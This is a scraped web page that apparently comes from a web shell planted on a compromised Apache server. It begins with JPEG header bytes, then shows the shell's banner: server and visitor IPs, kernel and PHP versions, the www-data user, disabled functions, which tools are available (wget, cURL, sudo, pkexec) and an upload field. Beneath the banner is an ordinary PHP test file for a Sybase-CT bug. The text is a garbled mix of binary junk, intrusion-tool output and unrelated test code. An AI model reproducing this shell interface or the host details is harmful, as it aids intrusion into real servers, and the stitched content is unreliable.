????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.238 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/sybase_ct/tests/ |
Upload File : |
--TEST-- Sybase-CT bug #43578 (Incurred fault #6 - if returned textfield ist empty) --SKIPIF-- <?php require('skipif.inc'); ?> --FILE-- <?php /* This file is part of PHP test framework for ext/sybase_ct * * $Id$ */ require('test.inc'); $db= sybase_connect_ex(); // Create a temporary table and fill it with test values var_dump(sybase_query(' create table #Resource ( Resource_ID int, DC_Rights text null ) ', $db)); var_dump(sybase_query('insert into #Resource values (123, NULL)', $db)); var_dump(sybase_query('insert into #Resource values (124, "")', $db)); // Select non-existent var_dump(sybase_select_ex($db, 'select DC_Rights from #Resource where Resource_ID = 122')); // Select null var_dump(sybase_select_ex($db, 'select DC_Rights from #Resource where Resource_ID = 123')); // Select empty var_dump(sybase_select_ex($db, 'select DC_Rights from #Resource where Resource_ID = 124')); // Clean up and close connection var_dump(sybase_query('drop table #Resource', $db)); sybase_close($db); ?> --EXPECTF-- bool(true) bool(true) bool(true) >>> Query: select DC_Rights from #Resource where Resource_ID = 122 <<< Return: resource array(0) { } >>> Query: select DC_Rights from #Resource where Resource_ID = 123 <<< Return: resource array(1) { [0]=> array(1) { ["DC_Rights"]=> NULL } } >>> Query: select DC_Rights from #Resource where Resource_ID = 124 <<< Return: resource array(1) { [0]=> array(1) { ["DC_Rights"]=> string(1) " " } } bool(true)